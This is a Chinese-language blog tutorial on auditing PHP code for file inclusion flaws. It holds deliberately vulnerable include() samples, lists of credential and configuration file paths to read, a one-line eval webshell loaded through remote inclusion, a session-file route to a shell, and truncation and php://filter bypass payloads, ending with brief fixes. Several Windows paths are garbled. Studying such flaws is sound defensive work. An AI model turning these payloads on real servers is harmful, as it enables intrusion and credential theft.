• 2020/1/31 PHP代码审计之文件包含漏洞


    0x00 文件包含简介

    文件包含漏洞的产生原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校检,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。当被包含的文件在服务器本地时,就形成了本地文件包含漏洞,被包含的文件在第三方服务时,就形成了远程文件包含漏洞。

    0x01 漏洞危害

    执行恶意代码
    包含恶意文件控制网站
    甚至控制网站服务器等

    0x02 本地包含

    本地文件包含(Local File Include,LFI),LFI允许攻击者通过浏览器包含本机上的文件。当一个WEB应用程序在没有正确过滤输入数据的情况下,就有可能存在这个漏洞,该漏洞允许攻击者操纵输入数据,注入路径遍历字符,包含Web服务器上的其他文件。
    相比较远程包含,本地包含比较鸡肋。。我们一般只能读取一些敏感文件

    0x03 远程包含

    远程文件包含(Remote File Inciude,RFI),RFI允许攻击者包含远程文件,远程文件包含需要设置allow_url_include=on,四个文件都支持HTTP,FTP等协议,想对本地文件包含更容易利用,出现的频率没有本地包含多。

    0x04 文件包含挖掘经验

    模块加载,cache调用,传入的参数拼接包含路径。

    PHP中文件包含函数有以下四种:

    require()
    require_once()
    include()
    include_once()
    

    include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
    而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

    0x05 本地文件包含代码

    写一个最简单的文件包含代码:

    <?php//
       
       $file = $_GET['name'];
       if(isset($file)){
           include($file);
       }
    ?>
    

    $_GET['name']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['name']的值,执行非预期的操作。

    结合上午的目录穿越:

    常见的敏感信息路径:

    Windows系统

    c:oot.ini // 查看系统版本c:windowssystem32inetsrvMetaBase.xml // IIS配置文件
    c:windows
    epairsam // 存储Windows系统初次安装的密码
    c:ProgramFilesmysqlmy.ini // MySQL配置c:ProgramFilesmysqldatamysqluser.MYD // MySQL root密码
    c:windowsphp.ini // php 配置信息
    
    

    Linux/Unix系统

    /etc/passwd // 账户信息
    /etc/shadow // 账户密码文件
    /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
    /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
    /usr/local/app/php5/lib/php.ini // PHP相关配置
    /etc/httpd/conf/httpd.conf // Apache配置文件
    /etc/my.conf // mysql 配置文件
    

    0x06 远程文件包含代码

    allow_url_fopen = On(是否允许打开远程文件)
    allow_url_include = On(是否允许include/require远程文件)
    

    在代码上基本没有区别:

    <?php
       
       $file = $_GET['name'];
       if(isset($file)){
           include($file);
       }
    ?>
    
    

    区别:我们可以通过url包含

    通过远程文件包含,包含一句话木马:

    <?php
    @eval($_POST['777']);
    ?>
    
    http://127.0.0.1/mmcy.php?name=http://127.0.0.1/yjh.php
    

    通过这么一句话就可以写入webshell,控制网站

    ps:

    http://127.0.0.1/mmcy.php?name=http://127.0.0.1/yjh.jpg
    

    也可以用蚁剑连接

    0x07 session文件包含漏洞

    利用条件:

    session的存储位置可以获取。

    1. 通过phpinfo的信息可以获取到session的存储位置。
    2. 通过猜测默认的session存放位置进行尝试。
      如linux下默认存储在/var/lib/php/session目录

    session中的内容可以被控制,传入恶意代码。

    <?phpsession_start();
    $ctfs=$_GET['ctfs'];
    $_SESSION["username"]=$ctfs;
    ?>
    
    

    此php会将获取到的GET型ctfs变量的值存入到session中。

    当访问http://127.0.0.1/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。
    session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。

    所以session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6。到服务器的/var/lib/php/session目录下查看果然存在此文件,内容为:

    username|s:4:"ctfs";
    [root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6
    username|s:4:"ctfs"
    

    漏洞利用

    通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。

    当访问http://127.0.0.1/session.php?ctfs=后,会在/var/lib/php/session目录下存储session的值

    攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。

    0x08 一些绕过技巧

    有时会碰到后缀名写死情况:

    <?php
       
       $file = $_GET['name'];
       if(isset($file)){
           include($file . ".txt");//只让我们包含txt文件
       }
    
    ?>
    

    %00截断

    条件:magic_quotes_gpc = Off php版本<5.3.4

    路径长度截断

    条件:windows OS,点号需要长于256;linux OS 长于4096

    Windows下目录最大长度为256字节,超出的部分会被丢弃;
    Linux下目录最大长度为4096字节,超出的部分会被丢弃。
    
    

    EXP:

    ?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
    

    点号截断

    条件:windows OS,点号需要长于256
    代码:

    <?php $filename = $_GET['filename']; include($filename . ".txt"); ?>
    

    exp:

    ?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
    

    问号绕过
    属于伪截断,不受GPC和PHP版本限制(<5.2.8)

    <?php include($_GET['filename'] . ".html"); ?>
    
    ?filename=http://127.0.0.1/php.txt?
    

    #号绕过
    ?filename=http://127.0.0.1/php.txt#
    php://输入输出流
    php://filter/read=convert.base64-encode/resource=1.txt
    以base64编码截断

    0x09 漏洞修复

    关闭远程包含参数开关,彻底切断这个业务。
    设置类似白名单方法,筛选固定文件名。
    常见目录穿越字符进行过滤,如(./ ../ ..等)
    参考链接
    https://www.freebuf.com/articles/web/182280.html

  • 相关阅读:
    Java异常处理
    冒泡排序法
    21个项目-MNIST机器学习入门
    Hadoop集群搭建中ssh免密登录
    利用奇异值分解简化数据
    数据集中空值替换成对应特征的平均值
    PCA降维处理
    使用FP-growth算法高效发现频繁项集
    原生js---ajax---post方法传数据
    原生js---ajax---get方法传数据
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12245573.html
Copyright © 2020-2023  润新知